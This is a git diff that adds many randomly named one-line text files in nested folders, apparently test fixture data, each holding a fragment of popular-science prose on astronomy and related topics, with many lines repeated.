+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_wlnagucd.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_wlnagucd.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_wlnagucd.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_xoucqxugsumbwspq.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_xoucqxugsumbwspq.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_xoucqxugsumbwspq.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_yjsvkwenqqpwixtgtqio.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_yjsvkwenqqpwixtgtqio.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_yjsvkwenqqpwixtgtqio.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_yoovoylt.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_yoovoylt.txt
new file mode 100644
index 0000000..fae1194
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/file_yoovoylt.txt
@@ -0,0 +1 @@
+Our ancestors were eager to understand the world but had not quite stumbled upon
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/frrmbyyackqh.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/frrmbyyackqh.txt
new file mode 100644
index 0000000..3b486b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/frrmbyyackqh.txt
@@ -0,0 +1 @@
+Humboldt in his broad-gauge popularization of all of science, published in the years 1845 to 1862, a work
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/furjzmhoz.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/furjzmhoz.txt
new file mode 100644
index 0000000..9ea54c0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/furjzmhoz.txt
@@ -0,0 +1 @@
+historical events, which those you left behind in our time line would never know about. If
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/gfuuwhitfidbnc.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/gfuuwhitfidbnc.txt
new file mode 100644
index 0000000..6f668f8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/gfuuwhitfidbnc.txt
@@ -0,0 +1 @@
+had figured out the stellar standard candle required to measure the distances to the galaxies.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/huomufntsfsabeudybkm.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/huomufntsfsabeudybkm.txt
new file mode 100644
index 0000000..c69e585
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/huomufntsfsabeudybkm.txt
@@ -0,0 +1 @@
+they are phrased so generally that they could apply to anyone. And they display major
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/hwsecjdrreczkg.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/hwsecjdrreczkg.txt
new file mode 100644
index 0000000..d896a59
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/hwsecjdrreczkg.txt
@@ -0,0 +1 @@
+The first Ionian scientist was Thales of Miletus, a city in Asia across a narrow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/khcyyjgtkknahnxczw.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/khcyyjgtkknahnxczw.txt
new file mode 100644
index 0000000..fda9970
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/khcyyjgtkknahnxczw.txt
@@ -0,0 +1 @@
+is a tongue of flame, a reminder that the universe, now newly created, will billions of years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/kijgucify.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/kijgucify.txt
new file mode 100644
index 0000000..5350ed1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/kijgucify.txt
@@ -0,0 +1 @@
+soup of gradually increasing complexity, until one day, quite by accident, a molecule arose
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/lxfmfllhljbkwx.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/lxfmfllhljbkwx.txt
new file mode 100644
index 0000000..10c6153
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/lxfmfllhljbkwx.txt
@@ -0,0 +1 @@
+perhaps even to attempt to sail around the planet? Four hundred years before Eratosthenes,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/lyvhawjyflqj.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/lyvhawjyflqj.txt
new file mode 100644
index 0000000..d25f8cf
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/lyvhawjyflqj.txt
@@ -0,0 +1 @@
+supercluster. Thus Smoot is tempted to conclude that the Big Bang was much less uniform
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/mtodfracnyfc.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/mtodfracnyfc.txt
new file mode 100644
index 0000000..25b391b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/mtodfracnyfc.txt
@@ -0,0 +1 @@
+away and produces cosmic rays that spiral through the Milky Way Galaxy for millions of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/neyhqtxjtzixesblr.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/neyhqtxjtzixesblr.txt
new file mode 100644
index 0000000..185a9eb
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/neyhqtxjtzixesblr.txt
@@ -0,0 +1 @@
+Orion, Daedalus or their ilk will be built before the middle of the twenty-first century,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/nhuckhwbxwgymq.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/nhuckhwbxwgymq.txt
new file mode 100644
index 0000000..a5e28d2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/nhuckhwbxwgymq.txt
@@ -0,0 +1 @@
+applies this term when the spring of the natural, the source of known causes, ceases
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/rfpkrubnw.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/rfpkrubnw.txt
new file mode 100644
index 0000000..fa236ae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/rfpkrubnw.txt
@@ -0,0 +1 @@
+from the other direction - like seeing the back of your head with light that has
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/tylcihrlhyusxvhyf.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/tylcihrlhyusxvhyf.txt
new file mode 100644
index 0000000..7be6a8b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/tylcihrlhyusxvhyf.txt
@@ -0,0 +1 @@
+- the origin of the bulk of the craters on the Moon and the other terrestrial planets. He
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/ujstddtbabrvcwzzbh.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/ujstddtbabrvcwzzbh.txt
new file mode 100644
index 0000000..f0a0a5f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/ujstddtbabrvcwzzbh.txt
@@ -0,0 +1 @@
+physicist and the head of the Neoplatonic school of philosophy - an extraordinary range of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/umlcoiepenfjvrgbneqj.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/umlcoiepenfjvrgbneqj.txt
new file mode 100644
index 0000000..152239e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/umlcoiepenfjvrgbneqj.txt
@@ -0,0 +1 @@
+kilometers per second? Relativity does set limits on what humans can ultimately do. But the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/wblsiisdxgpt.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/wblsiisdxgpt.txt
new file mode 100644
index 0000000..96b1b0b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/wblsiisdxgpt.txt
@@ -0,0 +1 @@
+colleagues and friends. A wide variety of microbes, which would have been indetectable
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/wrqchkisigxyiyfwgufnkkqp.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/wrqchkisigxyiyfwgufnkkqp.txt
new file mode 100644
index 0000000..2bd657c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/wrqchkisigxyiyfwgufnkkqp.txt
@@ -0,0 +1 @@
+Nobody listens to mathematicians.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/xqqvaxebkchnzs.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/xqqvaxebkchnzs.txt
new file mode 100644
index 0000000..699fffd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/xqqvaxebkchnzs.txt
@@ -0,0 +1 @@
+tides and radiation flux, and (a likely assumption) if the black hole were rotating, it is just
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/zgazdksblyah.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/zgazdksblyah.txt
new file mode 100644
index 0000000..556922f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/zgazdksblyah.txt
@@ -0,0 +1 @@
+predict when to hunt, when to sow and reap, when to gather the tribes. As precision of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/ztuuiqfiq.txt b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/ztuuiqfiq.txt
new file mode 100644
index 0000000..3573f45
--- /dev/null
+++ b/big_zip/big-zip-files/folder_imhdldifac/folder_dqsgthieiu/folder_uhcreuebwh/ztuuiqfiq.txt
@@ -0,0 +1 @@
+reliable methods of making human beings.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_cjhkcvvvhz.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_cjhkcvvvhz.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_cjhkcvvvhz.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_dpyvkpahqysaetqphj.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_dpyvkpahqysaetqphj.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_dpyvkpahqysaetqphj.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_dwjitwgnizbc.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_dwjitwgnizbc.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_dwjitwgnizbc.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_eafnbrdwwpvygrvixnttikd.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_eafnbrdwwpvygrvixnttikd.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_eafnbrdwwpvygrvixnttikd.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_iivyskqdmoflpqffzbczuo.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_iivyskqdmoflpqffzbczuo.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_iivyskqdmoflpqffzbczuo.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_jhhbdtzuv.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_jhhbdtzuv.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_jhhbdtzuv.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_kclxtgnnjt.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_kclxtgnnjt.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_kclxtgnnjt.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_kungxwqxb.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_kungxwqxb.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_kungxwqxb.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_lspzyuwu.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_lspzyuwu.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_lspzyuwu.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_mjkjxoekmntxjc.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_mjkjxoekmntxjc.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_mjkjxoekmntxjc.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_mkzhllrrcgqabjhb.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_mkzhllrrcgqabjhb.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_mkzhllrrcgqabjhb.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_nvdfbmxhfpkfliqficjqn.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_nvdfbmxhfpkfliqficjqn.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_nvdfbmxhfpkfliqficjqn.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_obozqzanhpgpymhu.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_obozqzanhpgpymhu.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_obozqzanhpgpymhu.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_plsfbuku.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_plsfbuku.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_plsfbuku.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_pyhasxpqgwqdjfxmrzoasro.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_pyhasxpqgwqdjfxmrzoasro.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_pyhasxpqgwqdjfxmrzoasro.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_qiptvufsdxewfinrswtbdsyz.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_qiptvufsdxewfinrswtbdsyz.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_qiptvufsdxewfinrswtbdsyz.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_snaeapndrz.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_snaeapndrz.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_snaeapndrz.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_thldbivclzruzv.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_thldbivclzruzv.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_thldbivclzruzv.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_ukcqqskphcqutaaaeh.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_ukcqqskphcqutaaaeh.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_ukcqqskphcqutaaaeh.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_vkrczmvqddupwsvfqh.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_vkrczmvqddupwsvfqh.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_vkrczmvqddupwsvfqh.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_vqgjnwauwgjiperpyxgh.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_vqgjnwauwgjiperpyxgh.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_vqgjnwauwgjiperpyxgh.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_wfuelysn.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_wfuelysn.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_wfuelysn.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/file_wswjqqtyzwnthsz.txt b/big_zip/big-zip-files/folder_izrnblgxjd/file_wswjqqtyzwnthsz.txt
new file mode 100644
index 0000000..fbd8e29
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/file_wswjqqtyzwnthsz.txt
@@ -0,0 +1 @@
+conflict on Earth were the galactic standard, it seems we would already have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/dpxqtcvhzvsnzlqdo.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/dpxqtcvhzvsnzlqdo.txt
new file mode 100644
index 0000000..b66775e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/dpxqtcvhzvsnzlqdo.txt
@@ -0,0 +1 @@
+comparison of the incidence of wars before and after 1945 might help to clarify this
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/fdqovvpskkofxrqtdqev.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/fdqovvpskkofxrqtdqev.txt
new file mode 100644
index 0000000..7d8db70
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/fdqovvpskkofxrqtdqev.txt
@@ -0,0 +1 @@
+is only one-quarter as strong. If they are moved ten times farther away, the gravity is ten
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_bbaevxgdt.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_bbaevxgdt.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_bbaevxgdt.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_bophmerflioqhalepqiulgtz.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_bophmerflioqhalepqiulgtz.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_bophmerflioqhalepqiulgtz.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_btdrppoquzarvcekqqwrldug.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_btdrppoquzarvcekqqwrldug.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_btdrppoquzarvcekqqwrldug.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_dfsebdfl.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_dfsebdfl.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_dfsebdfl.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_dzqvybcqfjr.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_dzqvybcqfjr.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_dzqvybcqfjr.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_ekrkehkkiy.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_ekrkehkkiy.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_ekrkehkkiy.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_hezwerowvfvnbjckiharct.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_hezwerowvfvnbjckiharct.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_hezwerowvfvnbjckiharct.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_hgqpvjibexvhwacrxkpzx.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_hgqpvjibexvhwacrxkpzx.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_hgqpvjibexvhwacrxkpzx.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_jipoqmqyovgip.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_jipoqmqyovgip.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_jipoqmqyovgip.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_kdpbsclseegziwketp.txt b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_kdpbsclseegziwketp.txt
new file mode 100644
index 0000000..97aa2b0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_izrnblgxjd/folder_elgbavatnk/file_kdpbsclseegziwketp.txt
@@ -0,0 +1 @@
+emerging societies replace those recently self-immolated. The number N might even be as
\ No newline at end of file
